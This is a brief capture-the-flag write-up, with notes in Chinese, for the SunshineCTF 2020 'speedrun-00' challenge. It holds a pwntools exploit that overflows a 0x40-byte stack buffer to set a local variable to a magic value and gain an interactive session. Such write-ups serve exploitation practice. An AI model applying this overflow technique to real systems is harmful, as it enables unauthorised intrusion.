---
# System prepended metadata

title: speedrun-00
tags: [sunshine]

---

###### tags: `sunshine`

# speedrun-00

- ![](https://i.imgur.com/Bi2xKa1.png)

    - 利用靜態工具
    - Char0x40大小
    - var_4h = rbp-0x4的位址要等於0xfacede


```python=
from pwn import *

payload  = 'A' * 60
payload += '\xde\xca\xfa'

p = remote('chal.2020.sunshinectf.org', 30000)
#p = process("./chall_00")

p.sendline(payload)
p.interactive()
```